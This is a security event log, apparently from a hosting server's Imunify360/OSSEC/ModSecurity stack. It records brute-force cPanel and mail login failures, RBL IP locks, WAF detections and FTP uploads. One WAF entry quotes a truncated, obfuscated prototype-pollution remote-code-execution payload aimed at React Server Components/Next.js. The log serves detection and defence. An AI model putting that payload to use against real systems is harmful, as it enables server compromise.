rule: 11000
name: Login failed on the cpanel service.
abuser: 14.186.65.149
country_id: 1562822
description:
[2026-06-13 04:36:34 +0000] info [cpaneld] 14.186.65.149 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-06-13 04:36:56 dovecot_login authenticator failed for H=(nsg-corporate-50.255.186.122.airtel.in) [203.172.213.166]:44391: 535 Incorrect authentication data (set_id=backup@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.98.79
country_id: 2542007
description:
[2026-06-13 04:36:19 +0000] info [cpaneld] 105.155.98.79 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.172.213.166
country_id: 1605651
description:
Jun 13 04:36:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.172.213.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.167
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2330||QS:add-to-cart=2330||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: mail.moodle.free.netmaster.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.164.119.45
country_id: 1733045
description:
115.164.119.45 - - [13/Jun/2026:04:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000281&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325564 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5370.1632 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.164.119.45


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.13.140.187
country_id: 3175395
description:
Jun 13 04:41:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.13.140.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 04:41:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.149.230.197
country_id: 1861060
description:
180.149.230.197 - - [13/Jun/2026:04:42:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039435&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325771 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.149.230.197


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.196.18
country_id: 1269750
description:
Jun 13 04:43:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.196.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.196.18
country_id: 1269750
description:
2026-06-13 04:43:57 dovecot_plain authenticator failed for H=(daria) [152.52.196.18]:37570: 535 Incorrect authentication data (set_id=minoussa@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jun 13 04:44:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jun 13 04:44:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.25
country_id: 798544
description:
Jun 13 04:44:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 04:44:55 +0000] info [cpaneld] 36.70.11.90 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 159.138.88.173
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Sokod\xc3\xa9 : Evaluation de la progression des travaux de construction du march\xc3\xa9 local||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 04:49:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.214.16.83
country_id: 298795
description:
[2026-06-13 04:50:45 +0000] info [cpaneld] 81.214.16.83 - auditeccandco "GET /login/?login_only=1&user=auditeccandco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.90.156
country_id: 3895114
description:
[2026-06-13 04:51:09 +0000] info [cpaneld] 186.189.90.156 - auditecca "GET /login/?login_only=1&user=auditecca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.102.250.223
country_id: 3996063
description:
[2026-06-13 04:50:43 +0000] info [cpaneld] 201.102.250.223 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.203.42
country_id: 3658394
description:
[2026-06-13 04:51:11 +0000] info [cpaneld] 157.100.203.42 - auditecc "GET /login/?login_only=1&user=auditecc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.169.35.107
country_id: 3865483
description:
[2026-06-13 04:50:59 +0000] info [cpaneld] 152.169.35.107 - auditeccand "GET /login/?login_only=1&user=auditeccand&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccand (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.19.134
country_id: 3865483
description:
[2026-06-13 04:51:03 +0000] info [cpaneld] 201.182.19.134 - auditeccan "GET /login/?login_only=1&user=auditeccan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.153.62.46
country_id: 1210997
description:
[2026-06-13 04:50:54 +0000] info [cpaneld] 203.153.62.46 - auditeccandc "GET /login/?login_only=1&user=auditeccandc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.14.254
country_id: 3932488
description:
[2026-06-13 04:51:18 +0000] info [cpaneld] 138.185.14.254 - audite "GET /login/?login_only=1&user=audite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.124.192.168
country_id: 1512440
description:
[2026-06-13 04:51:30 +0000] info [cpaneld] 144.124.192.168 - aud "GET /login/?login_only=1&user=aud&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aud (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.139.53.80
country_id: 2017370
domain: butodra.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-53.37.139.53.80||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.65.53.161
country_id: 3017382
description:
[2026-06-13 04:56:08 +0000] info [cpaneld] 37.65.53.161 - togomedia24 "GET /login/?login_only=1&user=togomedia24&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.244.85.7
country_id: 3996063
description:
[2026-06-13 04:56:13 +0000] info [cpaneld] 148.244.85.7 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.89.16.132
country_id: 3469034
description:
[2026-06-13 04:56:35 +0000] info [cpaneld] 189.89.16.132 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.63.185.164
country_id: 3439705
description:
[2026-06-13 04:56:45 +0000] info [cpaneld] 167.63.185.164 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.217.181
country_id: 1282988
description:
[2026-06-13 04:56:18 +0000] info [cpaneld] 103.134.217.181 - togomedia "GET /login/?login_only=1&user=togomedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.249.113.250
country_id: 1036973
description:
[2026-06-13 04:56:24 +0000] info [cpaneld] 197.249.113.250 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.251.41
country_id: 1733045
description:
[2026-06-13 04:56:28 +0000] info [cpaneld] 27.125.251.41 - togomed "GET /login/?login_only=1&user=togomed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.36.142
country_id: 3996063
description:
[2026-06-13 04:56:38 +0000] info [cpaneld] 38.19.36.142 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.95.209.5
country_id: 1210997
description:
[2026-06-13 04:56:32 +0000] info [cpaneld] 103.95.209.5 - togome "GET /login/?login_only=1&user=togome&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togome (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 04:58:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.34.158
country_id: 1282988
description:
[2026-06-13 05:04:40 +0000] info [cpaneld] 111.119.34.158 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.166
country_id: 1269750
description:
Jun 13 05:04:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 05:05:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.251.210.121
country_id: 3469034
description:
[2026-06-13 05:04:29 +0000] info [cpaneld] 186.251.210.121 - arianatg "GET /login/?login_only=1&user=arianatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arianatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.140.242
country_id: 690791
description:
[2026-06-13 05:04:32 +0000] info [cpaneld] 185.244.140.242 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 05:05:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 05:07:05 +0000] info [cpaneld] 36.70.11.90 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.252
country_id: 3469034
description:
Jun 13 05:08:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.252 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 96.44.119.165
country_id: 6251999
description:
96.44.119.165 - - [13/Jun/2026:05:11:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182959&pdata=https%253A%252F%252Fdirect7.tg%252F%253Fp%253D6250&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781327489 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/?p=6250" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:96.44.119.165


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.164.183.114
country_id: 1831722
domain: relanceinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:103.164.183.114||TA:103.164.183.114||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.23.98.107
country_id: 1643084
description:
103.23.98.107 - - [13/Jun/2026:05:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854550&pdata=https%253A%252F%252Fwww.matwtogo.org%252Fprogrammes%252FForage.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781327603 HTTP/2.0" 302 0 www.matwtogo.org "https://www.matwtogo.org/programmes/Forage.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.23.98.107


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 05:14:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 05:14:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:15:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.26.241
country_id: 1527747
description:
2026-06-13 05:18:03 H=([212.241.26.241]) [212.241.26.241]:19195 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [13/Jun/2026:05:26:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116947&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcompassion-international-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781328361 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/compassion-international-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.123
country_id: 3175395
description:
Jun 13 05:25:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.132
country_id: 1269750
description:
Jun 13 05:25:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 05:28:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:32:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:33:28 ns5 pure-ftpd[2182269]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/28220-2/index.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 05:33:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ortouche.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_9b6d99b7\":\"0dbac9d86b43dd62\",\"then\":\"$1:__proto__:then\",\"__fba78fed\":null,\"$06ee298b\":\"default\",\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var ddcf=[].slice.call(arguments,1)[0];var hsq=ddcf;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.97.67
country_id: 798544
description:
Jun 13 05:33:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.97.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:34:44 ns5 pure-ftpd[2183700]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/28220-2/index.php uploaded  (395320 bytes, 586.15KB/sec)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 223.123.43.70
country_id: 1168579
description:
223.123.43.70 - - [13/Jun/2026:05:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884841&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-200281retidm93dar.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781328824 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-200281retidm93dar.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:223.123.43.70


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:36:09 ns5 pure-ftpd[2185264]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/new.php uploaded  (16372 bytes, 72.30KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:36:28 ns5 pure-ftpd[2185891]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/new.php uploaded  (15907 bytes, 139.05KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.67.3
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/js/float.js?ver=6.9.4 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:37:22 ns5 pure-ftpd[2188740]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/wp-content/28220-2/index.html uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 05:38:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [13/Jun/2026:05:44:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645194&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnsia-vie-assurances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781329442 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nsia-vie-assurances/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 05:44:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 13 05:46:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 05:46:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [13/Jun/2026:05:47:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fridef-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781329671 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ridef-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:48:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
description:
Jun 13 05:49:45 ns5 pure-ftpd[2195805]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] Deleted //home/zmmjcejv/public_html/new.php


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-13 05:49:50 +0000] info [cpaneld] 196.171.5.203 - pnls "GET /cpsess7577442776/frontend/jupiter/index.html?=undefined&login=1&post_login=9400078006463 HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.133.113.84
country_id: 357994
description:
[2026-06-13 05:50:06 +0000] info [cpaneld] 197.133.113.84 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.8
country_id: 3469034
description:
Jun 13 05:49:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 13 05:49:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-13 05:49:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61284: 535 Incorrect authentication data (set_id=abcde12345)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.8.135
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.8.135
country_id: 2363686
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.120.169
country_id: 99237
description:
